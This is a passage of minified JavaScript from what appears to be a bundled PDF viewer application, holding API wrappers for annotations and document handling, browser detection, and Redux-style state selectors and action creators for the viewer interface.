window.documentViewer.getDocument().insertBlankPages(e,t,n)},createAnnotationReply:function(e,t){window.documentViewer.getAnnotationManager().createAnnotationReply(e,t)},setNoteContents:function(e,t){window.documentViewer.getAnnotationManager().setNoteContents(e,t)},setAnnotationRichTextStyle:function(e,t){window.documentViewer.getAnnotationManager().setAnnotationRichTextStyle(e,t)},updateAnnotationRichTextStyle:function(e,t){window.documentViewer.getAnnotationManager().updateAnnotationRichTextStyle(e,t)},getAnnotationsList:function(){return window.documentViewer.getAnnotationManager().getAnnotationsList()},getAnnotationsLoadedPromise:function(){return window.documentViewer.getAnnotationsLoadedPromise()},getPrintablePDF:function(){return window.documentViewer.getDocument().getPrintablePDF()},addEventListener:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,r=mt(),o=r[e];n?o.addEventListener(e,t,n):o.addEventListener(e,t)},removeEventListener:function(e,t){mt()[e].removeEventListener(e,t)},getIsReadOnly:function(){return window.documentViewer.getAnnotationManager().isReadOnlyModeEnabled()},cancelLoadThumbnail:function(e){window.documentViewer.getDocument().cancelLoadThumbnail(e)},showAnnotations:function(e){return window.documentViewer.getAnnotationManager().showAnnotations(e)},hideAnnotations:function(e){return window.documentViewer.getAnnotationManager().hideAnnotations(e)},goToOutline:function(e){window.documentViewer.displayBookmark(e)},getViewerElement:function(){return window.documentViewer.getViewerElement()},setAnnotationCanvasTransform:function(e,t,n){window.documentViewer.getAnnotationManager().setAnnotationCanvasTransform(e,t,n)},getAnnotationCopy:function(e){return window.documentViewer.getAnnotationManager().getAnnotationCopy(e)},setWatermark:function(e){return window.documentViewer.setWatermark(e)},getWatermark:function(){return window.documentViewer.getWatermark()},getAnnotationByMouseEvent:function(e){return window.documentViewer.getAnnotationManager().getAnnotationByMouseEvent(e)},groupAnnotations:function(e,t){return window.documentViewer.getAnnotationManager().groupAnnotations(e,t)},ungroupAnnotations:function(e){return window.documentViewer.getAnnotationManager().ungroupAnnotations(e)},getNumberOfGroups:function(e){return window.documentViewer.getAnnotationManager().getNumberOfGroups(e)},undo:function(){window.documentViewer.getAnnotationHistoryManager().undo()},redo:function(){window.documentViewer.getAnnotationHistoryManager().redo()},updateAnnotationState:function(e,t,n,r){return window.documentViewer.getAnnotationManager().updateAnnotationState(e,t,n,r)},getFontStyles:function(){return window.Core.FontStyles},mergeDocument:function(){var e,t=(e=regeneratorRuntime.mark((function e(t,n){var r,o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r=window,!(o=r.documentViewer).getDocument()){e.next=3;break}return e.abrupt("return",o.getDocument().mergeDocument(t,n));case 3:return e.next=5,o.loadDocument(t);case 5:return i=o.getDocument(),e.abrupt("return",{filename:i.getFilename(),pages:[1]});case 7:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){gt(i,r,o,a,l,"next",e)}function l(e){gt(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e,n){return t.apply(this,arguments)}}(),getFormFieldCreationManager:function(){return ht().getFormFieldCreationManager()},syncNamespaces:function(e){return window.Core.syncNamespaces(e)},createDocument:function(e,t){return window.Core.createDocument(e,t)}};function yt(e){return function(e){if(Array.isArray(e))return bt(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return bt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return bt(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function bt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var wt,Et,St,Ct=function(e,t){return xt(t).includes(e)},xt=function(e){var t=["thumbnailsPanel","outlinesPanel","layersPanel","bookmarksPanel","signaturePanel","attachmentPanel"];e.viewer.notesInLeftPanel&&t.push("notesPanel");var n=e.viewer.customPanels.map((function(e){return e.panel.dataElement}));return[].concat(t,yt(n))},Ot=function(){return window.innerWidth<640},At=navigator.userAgent.indexOf("Edge")>-1,_t=navigator.userAgent.indexOf("Trident/7.0")>-1,Tt=navigator.userAgent.toLowerCase().indexOf("firefox")>-1,kt=At||_t,Pt="MacIntel"===navigator.platform&&navigator.maxTouchPoints>1,Mt=window.navigator.userAgent.match(/(iPad|iPhone|iPod)/i)||Pt,Rt=window.navigator.userAgent.match(/Android/i),jt=Mt||Rt||window.navigator.userAgent.match(/webOS|BlackBerry|IEMobile|Opera Mini/i),Lt=navigator.appVersion.indexOf("Mac")>-1,It=navigator.appVersion.indexOf("Windows")>-1,Nt=(wt=window.navigator.userAgent.match(/OPR/),Et=window.navigator.userAgent.match(/Maxthon/),St=window.navigator.userAgent.match(/Edge/),window.navigator.userAgent.match(/Chrome\/(.*?) /)&&!wt&&!Et&&!St),Dt=/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||/^((?!chrome|android).)*$/.test(navigator.userAgent)&&Mt,Ft=window.navigator.userAgent.match(/CriOS\/(.*?) /),Bt=window.navigator.userAgent.match(/(FxiOS)\/(.*?) /),Ht={ANNOTATION_FILTER_CHANGED:"annotationFilterChanged",DOCUMENT_LOADED:"documentLoaded",DOCUMENT_MERGED:"documentMerged",FILE_DOWNLOADED:"fileDownloaded",FINISHED_SAVING_PDF:"finishedSavingPDF",LOAD_ERROR:"loaderror",DRAG_OUTLINE:"dragOutline",DROP_OUTLINE:"dropOutline",PANEL_RESIZED:"panelResized",THEME_CHANGED:"themeChanged",TOOLBAR_GROUP_CHANGED:"toolbarGroupChanged",SELECTED_THUMBNAIL_CHANGED:"selectedThumbnailChanged",THUMBNAIL_DRAGGED:"thumbnailDragged",THUMBNAIL_DROPPED:"thumbnailDropped",USER_BOOKMARKS_CHANGED:"userBookmarksChanged",OUTLINE_BOOKMARKS_CHANGED:"outlineBookmarksChanged",VIEWER_LOADED:"viewerLoaded",VISIBILITY_CHANGED:"visibilityChanged",FULLSCREEN_MODE_TOGGLED:"fullscreenModeToggled",BEFORE_TAB_CHANGED:"beforeTabChanged",TAB_DELETED:"tabDeleted",TAB_ADDED:"tabAdded",TAB_MOVED:"tabMoved"},Vt=function(e,t){var n;CustomEvent&&!_t?n=new CustomEvent(e,{detail:t,bubbles:!0,cancelable:!0}):((n=document.createEvent("Event")).initEvent(e,!0,!0),n.detail=t),window.dispatchEvent(n)},zt=Vt,Ut=function(e){Vt(Ht.LOAD_ERROR,e)},Gt=.05,Wt=99.99,qt=function(){return Gt},Zt=function(){return Wt},Yt=[.1,.25,.5,1,1.25,1.5,2,4,8,16,64],$t=function(e){Gt=e},Kt=function(e){Wt=e},Xt=qt,Qt=Zt;function Jt(e){return function(e){if(Array.isArray(e))return en(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return en(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return en(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function en(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var tn=function(e){return e.viewer.presetCropDimensions},nn=function(e){return e.viewer.dateTimeFormats},rn=function(e){return e.viewer.thumbnailSelectionMode},on=function(e){return e.viewer.fonts},an=function(e){return e.viewer.tabs},ln=function(e){return e.viewer.activeTab},sn=function(e){return e.viewer.isMultiTab},un=function(e){return e.viewer.TabManager},cn=function(e){return e.viewer.highContrastMode},fn=function(e,t){return e.viewer.lastPickedToolForGroup[t]},dn=function(e){return e.viewer.standardStamps},pn=function(e){return e.viewer.customStamps},hn=function(e){return e.viewer.selectedStampIndex},mn=function(e){var t=dn(e),n=pn(e),r=hn(e),o=t[r];return!o&&n.length&&(o=n[r-t.length]),o},gn=function(e){return e.viewer.savedSignatures},vn=function(e){return e.viewer.savedSignatures.filter(e.viewer.displayedSignaturesFilterFunction)},yn=function(e){return e.viewer.selectedDisplayedSignatureIndex},bn=function(e){return vn(e)[yn(e)]},wn=function(e){return e.viewer.displayedSignaturesFilterFunction},En=function(e){return e.viewer.autoFocusNoteOnAnnotationSelection},Sn=function(e){return e.viewer.notesInLeftPanel},Cn=function(e){return e.viewer.panelWidths.leftPanel},xn=function(e){return e.viewer.panelWidths.searchPanel},On=function(e){return e.viewer.panelWidths.notesPanel},An=function(e){return e.viewer.panelWidths.redactionPanel},_n=function(e){return e.viewer.panelWidths.wv3dPropertiesPanel},Tn=function(e){return e.viewer.panelWidths.leftPanel+14},kn=function(e){return e.viewer.panelWidths.searchPanel+14},Pn=function(e){return e.viewer.panelWidths.notesPanel+14},Mn=function(e){var t=Pn(e),n=kn(e),r=Tn(e),o=An(e),i=_n(e),a=In(e,"leftPanel"),l=In(e,"notesPanel"),s=In(e,"searchPanel"),u=In(e,"redactionPanel"),c=In(e,"wv3dPropertiesPanel");return"calc(100% - ".concat(0+(a?r:0)+(l?t:0)+(s?n:0)+(u?o:0)+(c?i:0),"px)")},Rn=function(e){return e.viewer.documentContainerWidth},jn=function(e){return e.viewer.documentContainerHeight},Ln=function(e,t){var n,r;return null===(n=e.viewer)||void 0===n||null===(r=n.disabledElements[t])||void 0===r?void 0:r.disabled},In=function(e,t){var n,r,o;return(null===(n=e.viewer)||void 0===n?void 0:n.openElements[t])&&!(null!==(r=e.viewer)&&void 0!==r&&null!==(o=r.disabledElements[t])&&void 0!==o&&o.disabled)},Nn=function(e,t){var n=qn(e);return Object.values(n).filter((function(e){return e.group===t})).map((function(e){return e.dataElement})).every((function(t){return Ln(e,t)}))},Dn=function(e){return e.viewer.headers},Fn=function(e){return function(e){return Object.keys(e.viewer.headers).filter((function(e){return e.includes("toolbarGroup-")}))}(e).filter((function(t){var n=function e(t){return t.reduce((function(t,n){return n.children?t.push.apply(t,Jt(e(n.children))):t.push(n),t}),[])}(e.viewer.headers[t].children||e.viewer.headers[t]).filter((function(e){var t=e.dataElement;return t&&t.includes("ToolGroupButton")})),r=!t.includes("toolbarGroup-View")&&n.every((function(t){var n=t.dataElement;return Ln(e,n)}));return!Ln(e,"".concat(t))&&!r}))},Bn=function(e){return e.viewer.toolbarGroup},Hn=function(e){return e.viewer.activeTheme},Vn=function(e){return e.viewer.headers.default},zn=function(e){var t=e.viewer.headers[e.viewer.activeHeaderGroup];return t.children||t},Un=function(e,t){var n;return null===(n=e.viewer.disabledElements[t])||void 0===n?void 0:n.priority},Gn=function(e){var t=Bn(e),n=e.viewer.headers[t];return n&&n.children?n.children:n||[]},Wn=function(e){return function(t){return t.viewer.headers[e]}},qn=function(e){return e.viewer.toolButtonObjects},Zn=function(e){return e.viewer.enableToolGroupReordering},Yn=function(e){return e.viewer.enableNoteSubmissionWithEnter},$n=function(e){return e.viewer.isNotesPanelTextCollapsingEnabled},Kn=function(e){return e.viewer.isNotesPanelRepliesCollapsingEnabled},Xn=function(e){return e.viewer.isCommentThreadExpansionEnabled},Qn=function(e){var t=e.viewer.activeToolGroup,n=qn(e);return Object.keys(n).filter((function(r){var o=n[r],i=o.group,a=o.dataElement;return i===t&&!Ln(e,a)}))},Jn=function(e,t){var n=qn(e);return t.map((function(e){var t;return null===(t=n[e])||void 0===t?void 0:t.dataElement})).filter(Boolean)},er=function(e,t){return qn(e)[t]},tr=function(e,t){var n;return null===(n=er(e,t))||void 0===n?void 0:n.dataElement},nr=function(e,t){var n=qn(e);return Object.keys(n).filter((function(e){return n[e].group===t}))},rr=function(e,t){var n=qn(e);return Object.keys(n).find((function(e){return n[e].dataElement===t}))},or=function(e){return e.viewer.activeToolName},ir=function(e){return e.viewer.activeToolStyles},ar=function(e){return e.viewer.customColor},lr=function(e){return e.viewer.customColors},sr=function(e){return e.viewer.activeLeftPanel},ur=function(e){return e.viewer.activeToolGroup},cr=function(e){return e.viewer.notePopupId},fr=function(e){return e.viewer.fitMode},dr=function(e){return e.viewer.zoom},pr=function(e){return e.viewer.displayMode},hr=function(e){return e.viewer.currentPage},mr=function(e){return e.viewer.sortStrategy},gr=function(e){return e.viewer.rotation},vr=function(e){return e.viewer.noteDateFormat||"MMM D, LT"},yr=function(e){return e.viewer.printedNoteDateFormat||"L LTS"},br=function(e){return e.viewer.isFullScreen},wr=function(e){return e.viewer.doesAutoLoad},Er=function(e){return e.viewer.isReadOnly},Sr=function(e){return e.viewer.customPanels},Cr=function(e){return e.viewer.customModals},xr=function(e){return e.viewer.pageLabels},Or=function(e){return e.viewer.selectedThumbnailPageIndexes},Ar=function(e){return e.viewer.shiftKeyThumbnailPivotIndex},_r=function(e){return e.viewer.customPanels.reduce((function(t,n){var r,o=n.tab;return null!==(r=e.viewer.disabledElements[o.dataElement])&&void 0!==r&&r.disabled&&t.push(o.dataElement),t}),[])},Tr=function(e){return Nt&&!Rt&&e.viewer.useEmbeddedPrint},kr=function(e){return e.viewer.outlineControlVisibility},Pr=function(e){return e.viewer.colorMap},Mr=function(e){return e.viewer.cursorOverlay},Rr=function(e){return e.viewer.openElements},jr=function(e){return e.viewer.disabledElements},Lr=function(e,t){var n;return null===(n=e.viewer.colorMap[t])||void 0===n?void 0:n.currentPalette},Ir=function(e,t){var n;return null===(n=e.viewer.colorMap[t])||void 0===n?void 0:n.iconColor},Nr=function(e){return e.viewer.customNoteFilter},Dr=function(e){return e.viewer.isReplyDisabledFunc},Fr=function(e){return e.viewer.zoomList},Br=function(e){return e.viewer.measurementUnits},Hr=function(e){return e.viewer.isNoteEditing},Vr=function(e){return e.viewer.maxSignaturesCount},zr=function(e){return e.viewer.userData},Ur=function(e){return!!e.viewer.userData},Gr=function(e){return e.viewer.signatureFonts},Wr=function(e,t){return e.viewer.tab[t]},qr=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return e.viewer.customElementOverrides[t]},Zr=function(e,t){return e.viewer[t]||[]},Yr=function(e){return e.viewer.menuOverlay},$r=function(e){return e.viewer.isThumbnailMerging},Kr=function(e){return e.viewer.isThumbnailReordering},Xr=function(e){return e.viewer.isThumbnailMultiselect},Qr=function(e){return e.viewer.isMultipleViewerMerging},Jr=function(e){return e.viewer.enableNotesPanelVirtualizedList},eo=function(e){return e.viewer.notesShowLastUpdatedDate},to=function(e){return e.viewer.allowPageNavigation},no=function(e){return e.viewer.customMeasurementOverlay},ro=function(e){return e.viewer.annotationContentOverlayHandler},oo=function(e){return e.viewer.enableMouseWheelZoom},io=function(e){return e.viewer.isReaderMode},ao=function(e){return e.viewer.certificates},lo=function(e){return e.viewer.trustLists},so=function(e){return e.viewer.validationModalWidgetName},uo=function(e,t){return e.viewer.verificationResult[t]||{}},co=function(e){return e.viewer.thumbnailSelectingPages},fo=function(e){return e.viewer.watermarkModalOptions},po=function(e){return e.viewer.zoomStepFactors},ho=function(e){var t;return(null===(t=e.viewer.warning)||void 0===t?void 0:t.message)||""},mo=function(e){var t;return(null===(t=e.viewer.warning)||void 0===t?void 0:t.title)||""},go=function(e){var t;return null===(t=e.viewer.warning)||void 0===t?void 0:t.onConfirm},vo=function(e){var t;return null===(t=e.viewer.warning)||void 0===t?void 0:t.confirmBtnText},yo=function(e){var t;return null===(t=e.viewer.warning)||void 0===t?void 0:t.onSecondary},bo=function(e){var t;return null===(t=e.viewer.warning)||void 0===t?void 0:t.secondaryBtnText},wo=function(e){var t;return null===(t=e.viewer.warning)||void 0===t?void 0:t.onCancel},Eo=function(e){return e.viewer.isAccessibleMode},So=function(e){return e.viewer.errorMessage||""},Co=function(e){return e.document.passwordAttempts},xo=function(e){return e.document.printQuality},Oo=function(e){return e.document.defaultPrintOptions},Ao=function(e){return e.document.totalPages},_o=function(e){return e.document.outlines},To=function(e){return e.viewer.isOutlineEditing},ko=function(e){return e.document.bookmarks},Po=function(e){return e.document.layers},Mo=function(e){return e.document.loadingProgress},Ro=function(e){return e.user.name},jo=function(e){return e.advanced.serverUrl},Lo=function(e){return e.search.value},Io=function(e){return e.search.clearSearchPanelOnClose},No=function(e){return e.search.isCaseSensitive},Do=function(e){return e.search.isWholeWord},Fo=function(e){return e.search.isWildcard},Bo=function(e){return e.search.isSearchUp},Ho=function(e){return e.search.isAmbientString},Vo=function(e){return e.search.isRegex},zo=function(e){return e.search.isProcessingSearchResults},Uo=function(e){return e.search.redactionSearchPatterns},Go=function(e){return e.viewer.noteTransformFunction},Wo=function(e){return e.viewer.customNoteFunction},qo=function(e){return e.viewer.customApplyRedactionsHandler},Zo=function(e){return e.viewer.isSnapModeEnabled},Yo=function(e){return e.viewer.unreadAnnotationIdSet},$o=function(e){return e.viewer.currentLanguage},Ko=function(e){return e.viewer.fadePageNavigationComponent},Xo=function(e){return e.viewer.hideContentEditWarning},Qo=function(e){return e.viewer.currentContentBeingEdited},Jo=function(e){return e.featureFlags},ei=function(e){return e.viewer.isInDesktopOnlyMode},ti=function(e){return e.viewer.pageDeletionConfirmationModalEnabled},ni=function(e){return e.viewer.pageReplacementFileList},ri=function(e){return e.viewer.pageManipulationOverlay},oi=function(e){return e.viewer.thumbnailControlMenu},ii=function(e){var t,n=e.viewer.toolButtonObjects[e.viewer.activeToolName];return null===(t=null==n?void 0:n.showPresets)||void 0===t||t},ai=function(e){return e.viewer.shouldResetAudioPlaybackPosition},li=function(e){return e.viewer.activeSoundAnnotation},si=function(e){return e.wv3dPropertiesPanel.modelData},ui=function(e){return e.wv3dPropertiesPanel.schema},ci=function(e){return e.viewer.annotationFilters},fi=r;function di(e){return function(e){if(Array.isArray(e))return pi(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return pi(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return pi(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function pi(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var hi=function(e,t,n){return t.reduce((function(t,r){var o=fi.getDisabledElementPriority(e,r);return!o||n>=o?[].concat(di(t),[r]):t}),[])};function mi(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function gi(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mi(Object(n),!0).forEach((function(t){vi(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mi(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function vi(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var yi=function(e,t){return function(n,r){if("leftPanel"===e)n(bi(["leftPanel","leftPanelButton"],t));else if("stylePopup"===e)n(bi(["toolStylePopup","annotationStylePopup"],t));else{var o=fi.getDisabledElementPriority(r(),e);(!o||t>=o)&&n({type:"DISABLE_ELEMENT",payload:{dataElement:e,priority:t}})}}},bi=function(e,t){return function(n,r){n({type:"DISABLE_ELEMENTS",payload:{dataElements:hi(r(),e,t),priority:t}})}},wi=function(e,t){return function(n,r){if("leftPanel"===e)n(Ei(["leftPanel","leftPanelButton"],t));else if("stylePopup"===e)n(Ei(["toolStylePopup","annotationStylePopup"],t));else{var o=fi.getDisabledElementPriority(r(),e);(!o||t>=o)&&n({type:"ENABLE_ELEMENT",payload:{dataElement:e,priority:t}})}}},Ei=function(e,t){return function(n,r){var o=hi(r(),e,t);vt.isCreateRedactionEnabled()||(o=o.filter((function(e){return"redactionButton"!==e}))),n({type:"ENABLE_ELEMENTS",payload:{dataElements:o,priority:t}})}},Si=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_THUMBNAIL_MERGING",payload:{useThumbnailMerging:e}}},Ci=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_THUMBNAIL_REORDERING",payload:{useThumbnailReordering:e}}},xi=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_THUMBNAIL_MULTISELECT",payload:{useThumbnailMultiselect:e}}},Oi=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return{type:"SET_MULTI_VIEWER_MERGING",payload:{isMultipleViewerMerging:e}}},Ai=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_ENABLE_NOTE_PANEL_VIRTUALIZED_LIST",payload:{enableNotesPanelVirtualizedList:e}}},_i=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return{type:"SET_NOTES_SHOW_LAST_UPDATED_DATE",payload:{notesShowLastUpdatedDate:e}}},Ti=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_ALLOW_PAGE_NAVIGATION",payload:{allowPageNavigation:e}}},ki=function(e,t){return{type:"SET_LAST_PICKED_TOOL_FOR_GROUP",payload:{group:e,toolName:t}}},Pi=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"ENABLE_TOOL_GROUP_REORDERING",payload:{enableToolGroupReordering:e}}},Mi=function(e){return function(t,n){var r,o=n();r=Mt||Rt?e.name:"TextSelect"===e.name?"AnnotationEdit":e.name,o.viewer.activeToolName!==r&&t({type:"SET_ACTIVE_TOOL_NAME_AND_STYLES",payload:{toolName:r,toolStyles:e.defaults||{}}})}},Ri=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{type:"SET_ACTIVE_TOOL_STYLES",payload:{toolStyles:e}}},ji=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{type:"SET_CUSTOM_COLOR",payload:{customColor:e}}},Li=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return{type:"SET_CUSTOM_COLORS",payload:{customColors:e}}},Ii=function(e){return function(t,n){var r=fi.getActiveToolGroup(n()),o=fi.getCurrentToolbarGroup(n());r!==e&&t({type:"SET_ACTIVE_TOOL_GROUP",payload:{toolGroup:e,toolbarGroup:o}})}},Ni=function(e){return{type:"SET_NOTE_POPUP_ID",payload:{id:e}}},Di=function(){return{type:"SET_NOTE_EDITING",payload:{isNoteEditing:!0}}},Fi=function(){return{type:"SET_NOTE_EDITING",payload:{isNoteEditing:!1}}},Bi=function(e){return{type:"SET_FIT_MODE",payload:{fitMode:e}}},Hi=function(e){return{type:"SET_ZOOM",payload:{zoom:e}}},Vi=function(e){return{type:"SET_ROTATION",payload:{rotation:e}}},zi=function(e){return{type:"SET_DISPLAY_MODE",payload:{displayMode:e}}},Ui=function(e){return{type:"SET_CURRENT_PAGE",payload:{currentPage:e}}},Gi=function(e){return{type:"SET_FULL_SCREEN",payload:{isFullScreen:e}}},Wi=function(e){return{type:"SET_READ_ONLY",payload:{isReadOnly:e}}},qi=function(e){return{type:"REGISTER_TOOL",payload:gi({},e)}},Zi=function(e){return{type:"UNREGISTER_TOOL",payload:{toolName:e}}},Yi=function(e){return{type:"SET_TOOL_BUTTON_OBJECTS",payload:{toolButtonObjects:e}}},$i=function(e,t){return{type:"SET_HEADER_ITEMS",payload:{header:e,headerItems:t}}},Ki=function(e,t){return{type:"SET_POPUP_ITEMS",payload:{dataElement:e,items:t}}},Xi=function(e){return{type:"SET_MENUOVERLAY_ITEMS",payload:{items:e}}},Qi=function(e,t){return{type:"SET_COLOR_PALETTE",payload:{colorMapKey:e,colorPalette:t}}},Ji=function(e,t){return{type:"SET_ACTIVE_PALETTE",payload:{colorMapKey:e,colorPalette:t}}},ea=function(e,t){return{type:"SET_ICON_COLOR",payload:{colorMapKey:e,color:t}}},ta=function(e){return{type:"SET_COLOR_MAP",payload:{colorMap:e}}},na=function(e){return{type:"SET_LEFT_PANEL_WIDTH",payload:{width:e}}},ra=function(e){return{type:"SET_REPLY_DISABLED_FUNC",payload:{func:e}}},oa=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_MOUSE_WHEEL_ZOOM",payload:{enableMouseWheelZoom:e}}},ia=function(e){return{type:"SET_READER_MODE",payload:{isReaderMode:e}}},aa=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_THUMBNAIL_PAGE_SELECT",payload:{isSelecting:e}}},la=function(e){return{type:"SET_PAGE_MANIPULATION_OVERLAY_ITEMS",payload:{items:e}}},sa=function(e){return{type:"SET_THUMBNAIL_CONTROL_MENU_ITEMS",payload:{items:e}}},ua=function(e){return{type:"SET_TAB_MANAGER",payload:{TabManager:e}}},ca=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_IS_MULTI_TAB",payload:{isMultiTab:e}}},fa=function(e){return{type:"SET_TABS",payload:{tabs:e}}},da=function(e){return{type:"SET_ACTIVE_TAB",payload:{activeTab:e}}},pa=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return{type:"SET_FONTS",payload:{fonts:e}}},ha=function(e){return{type:"SET_TOTAL_PAGES",payload:{totalPages:e}}},ma=function(e){return{type:"SET_OUTLINES",payload:{outlines:e}}},ga=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"SET_OUTLINE_EDITING",payload:{isOutlineEditing:e}}},va=function(e){return{type:"SET_BOOKMARKS",payload:{bookmarks:e}}},ya=function(e,t){return function(n,r){n({type:"ADD_BOOKMARK",payload:{pageIndex:e,text:t}});var o=fi.getBookmarks(r());zt(Ht.USER_BOOKMARKS_CHANGED,o)}},ba=function(e,t){return function(n,r){n({type:"EDIT_BOOKMARK",payload:{pageIndex:e,text:t}});var o=fi.getBookmarks(r());zt(Ht.USER_BOOKMARKS_CHANGED,o)}},wa=function(e){return function(t,n){t({type:"REMOVE_BOOKMARK",payload:{pageIndex:e}});var r=fi.getBookmarks(n());zt(Ht.USER_BOOKMARKS_CHANGED,r)}},Ea=function(e){return{type:"SET_LAYERS",payload:{layers:e}}},Sa=function(e){return{type:"SET_PASSWORD_ATTEMPTS",payload:{attempt:e}}},Ca=function(e){return{type:"SET_PRINT_QUALITY",payload:{quality:e}}},xa=function(e){return{type:"SET_DEFAULT_PRINT_OPTIONS",payload:{options:e}}},Oa=function(e){return{type:"SET_LOADING_PROGRESS",payload:{progress:e}}},Aa=function(){return{type:"SET_LOADING_PROGRESS",payload:{progress:0}}},_a=function(e){return{type:"SET_VERIFICATION_RESULT",payload:{result:e}}},Ta=function(e){return{type:"SET_USER_NAME",payload:{userName:e}}},ka=function(e){return{type:"SET_ADMIN_USER",payload:{isAdminUser:e}}},Pa=function(e,t){return{type:"SEARCH_TEXT",payload:{searchValue:e,options:t}}},Ma=function(e,t){return{type:"SEARCH_TEXT_FULL",payload:{searchValue:e,options:t}}},Ra=function(e){return{type:"ADD_SEARCH_LISTENER",payload:{func:e}}},ja=function(e){return{type:"REMOVE_SEARCH_LISTENER",payload:{func:e}}},La=function(e){return{type:"SET_SEARCH_VALUE",payload:{value:e}}},Ia=function(e){return{type:"SET_CASE_SENSITIVE",payload:{isCaseSensitive:e}}},Na=function(e){return{type:"SET_WHOLE_WORD",payload:{isWholeWord:e}}},Da=function(e){return{type:"SET_WILD_CARD",payload:{isWildcard:e}}},Fa=function(){return{type:"RESET_SEARCH",payload:{}}},Ba=function(e){return{type:"SET_NOTE_TRANSFORM_FUNCTION",payload:{noteTransformFunction:e}}},Ha=function(e){return{type:"SET_CUSTOM_NOTE_SELECTION_FUNCTION",payload:{customNoteFunction:e}}},Va=function(e){return{type:"SET_CUSTOM_APPLY_REDACTIONS_HANDLER",payload:{customApplyRedactionsHandler:e}}},za=function(e){return{type:"SET_ENABLE_SNAP_MODE",payload:{enable:e}}},Ua=function(e){return{type:"SET_LANGUAGE",payload:{language:e}}},Ga=function(e){return{type:"SET_HIDE_CONTENT_EDIT_WARNING",payload:{hideWarning:e}}},Wa=function(e){return{type:"SET_CURRENT_CONTENT_BEING_EDITED",payload:{content:e.content,annotation:e.annotation}}},qa=function(e){return{type:"UPDATE_CURRENT_CONTENT_BEING_EDITED",payload:{content:e}}},Za=function(){return{type:"CLEAR_CURRENT_CONTENT_BEING_EDITED",payload:{}}},Ya=function(e){return{type:"SET_PROCESSING_SEARCH_RESULTS",payload:{isProcessingSearchResults:e}}},$a=function(e){return{type:"SET_RESET_AUDIO_PLAYBACK_POSITION",payload:{shouldResetAudioPlaybackPosition:e}}},Ka=function(e){return{type:"SET_ACTIVE_SOUND_ANNOTATION",payload:{activeSoundAnnotation:e}}},Xa=function(e){return{type:"SET_ANNOTATION_FILTERS",payload:{annotationFilters:e}}},Qa=Mt||Rt?"Pan":"AnnotationEdit";function Ja(e){return function(e){if(Array.isArray(e))return el(e)}(e)||function(e){if("undefined"!=typeof 